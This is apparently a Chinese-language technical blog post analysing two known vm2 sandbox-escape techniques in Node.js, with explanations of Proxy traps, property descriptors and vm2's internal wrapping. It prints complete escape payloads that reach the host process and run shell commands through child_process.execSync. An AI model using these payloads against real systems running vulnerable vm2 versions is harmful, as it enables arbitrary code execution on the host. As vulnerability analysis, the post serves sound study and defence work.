前言:vm2中在版本的更迭中,存在多种逃逸方法,可以参考 https://github.com/patriksimek/vm2/issues?q=is%3Aissue+author%3AXmiliaH+is%3Aclosed 但是 issue中都没有给出具体的分析,本文通过几个典型的案例来分析这些代码是如何逃逸出vm2的
注:需要使用git进行回退
git reset --hard 7ecabb1
案例1
代码:
"use strict";
const {VM} = require('vm2');
const untrusted = `var process;
Object.prototype.has=(t,k)=>{
process = t.constructor("return process")();
}
"" in Buffer.from;
process.mainModule.require("child_process").execSync("whoami").toString()`
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
看这个案例前,首先需要补充一点es6 proxy的知识 https://es6.ruanyifeng.com/?search=weakmap&x=0&y=0#docs/proxy (大神可以略过)
先看一段代码:
var handler = {
get () {
console.log("get");
}
};
var target = {};
var proxy = new Proxy(target, handler);
Object.prototype.has = function(){
console.log("has");
}
proxy.a; //触发get
"" in proxy; //触发has,这个has是在原型链上定义的
在对象 target
上定义了 get
操作,会拦截对象属性的读取,所以当访问 proxy.a
时,会打印出 get
但是当执行 "" in proxy
时,也会被 has
方法拦截,此时,我们虽然没有直接在 target
对象上定义 has
拦截操作,即代理的方法是可以被继承的。
回到vm2逃逸的代码,vm2中实际运行的代码如下:
"use strict";
var process;
Object.prototype.has = function (t, k) {
process = t.constructor("return process")();
};
"" in Buffer.from;
process.mainModule.require("child_process").execSync("whoami").toString()
Buffer.from
是一个代理对象,vm2的作者一开始并没有给vm2内部的Object 加上 has方法,所以我们可以自己给 Object
对象的原型上添加 has
方法,这时候运行
"" in Buffer.from;
就会去执行我们定义好的has方法,由于 proxy
的机制,参数 t
是 function Buffer.from
,这个function是在外部的,其上下文是 nodejs 的global下,所以访问其 constructor
属性就获取到了外部的 Function
,从而拿到外部的 process
而开发者的修复方案:添加上 has 方法
可以看到,没有修复之前,Buffer.from
是没有拦截 has
操作的
而修复之后:
由于 Buffer.from
中已经存在了 has 方法,所以不会去原型链上查找
案例2
代码如下
"use strict";
const {VM} = require('vm2');
const untrusted = `var process;
try{
Object.defineProperty(Buffer.from(""), "", {get set(){
Object.defineProperty(Object.prototype,"get",{get(){
throw x=>x.constructor("return process")();
}});
return ()=>{};
}});
}catch(e){
process = e(()=>{});
}
process.mainModule.require("child_process").execSync("id").toString();`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
同样地,需要补充一点js的知识:
js的对象中,存在三种不同的属性:数据属性,访问器属性和内部属性。我们只看数据属性和访问器属性
数据属性和访问器属性都存在 [[Enumerable]]
和 [[Configurable]]
特性
不同点:以下特性属于数据属性:
-
[[Value]]
:该属性的属性值,默认为undefined
。 -
[[Writable]]
:是一个布尔值,表示属性值(value
)是否可改变(即是否可写),默认为true
。
以下特性属于访问器属性
-
[[Get]]
:是一个函数,表示该属性的取值函数(getter),默认为undefined
-
[[Set]]
:是一个函数,表示该属性的存值函数(setter),默认为undefined
var obj = {
prop: let obj = {
prop:123,
Writable: true
}
let jbo = {
get prop(){
return "get";
},
set prop(val){
console.log("set"+val);
}
}
console.log(obj.prop); //123
console.log(jbo.prop); //get
我们也可以通过 Object.defineProperty
来设置对象的访问器属性
let obj = {};
Object.defineProperty(obj, "prop", {
get(){
return "get";
}
})
console.log(obj.prop);
我们还可以这样写
let obj = {};
Object.defineProperty(obj, "prop", {
get get(){
console.log("get1"); //get1
return ()=>{return "get2"};
}
})
console.log(obj.prop); //get2
在这种情况下,会先执行 get()
函数,打印 get1
,返回一个函数,作为 prop
属性的 getter,之后访问 obj.prop
时,就会打印 get2
get(){
console.log("get1");
return ()=>{return "get2"};
}
同理:
let obj = {};
Object.defineProperty(obj, "prop", {
get set(){
console.log("set1");
return (val)=>{console.log("set2")};
}
})
obj.prop = 1
此时会先执行一次 set()
函数打印出 set1
,同时设置 prop
属性的 setter 为 (val)=>{console.log("set2")}
之后执行 obj.prop = 1
时,就会打印 set2
;
那么回过头来看vm2逃逸的代码
var process;
try {
let a = Buffer.from("")
Object.defineProperty(a, "", {
get set() {
Object.defineProperty(Object.prototype, "get", {
get: function get() {
throw function (x) {
return x.constructor("return process")();
};
}
});
return ()=>{};
}
});
} catch (e) {
process = e(() => {});
}
执行的过程如下:
参考前文 vm2 实现原理分析,此时得到的a是一个代理对象,当我们在a上定义新属性的时候,被代理的 defineProperty
拦截
检测传入的 descriptor
上是否设置了 get和set,如果是,调用外部的 host.Object.defineProperty
去实现设置对象属性的
但是在执行 descriptor.get
的时候,由于 nodejs
是异步的,此时已经执行了
Object.defineProperty(Object.prototype, "get", {
get: function get() {
throw function (x) {
return x.constructor("return process")();
};
}
});
也就是说,descriptor.get
会沿着原型链寻找到 get
, 并且抛出异常,throw x=>x.constructor("return process")();
这个抛出的异常,最先被vm2内部捕获到,就是图中的e
vm2 需要将其包装成一个代理对象之后,继续抛出,所以这个异常被我们写的代码捕获到
vm2抛出的异常,被我们的代码捕获到
然后我们将其作为函数来调用,那就会触发这个函数代理对象的 apply
方法
这里的 target
就是 x=>x.constructor('return process')()
context
是函数的上下文代理,通过 Decontextify.value
之后是 underfined
args
是函数的参数代理,其值为 () => {}
真正的函数调用发生在
Contextify.value(fnc.apply(context, Decontextify.arguments(args)));
这里可以做一下拆分
let func_arg = Decontextify.arguments(args);
let fnc_result = fnc.apply(context, func_arg);
let res = Contextify.value(fnc_result);
逻辑上看,先将函数的参数做一次处理,然后通过反射调用函数,再将得到的结果包装成代理
问题出在对函数的参数处理上,此处的函数参数为 () => {}
,是一个函数,并不是代理对象
所以 Decontextify
将其做了一次包装,使之成为一个代理对象
然而问题在于,这个函数的代理对象中的get方法的实现
当访问 constructor
属性的时候,得到的是 host.Function
如图:
这就导致逃溢出沙箱了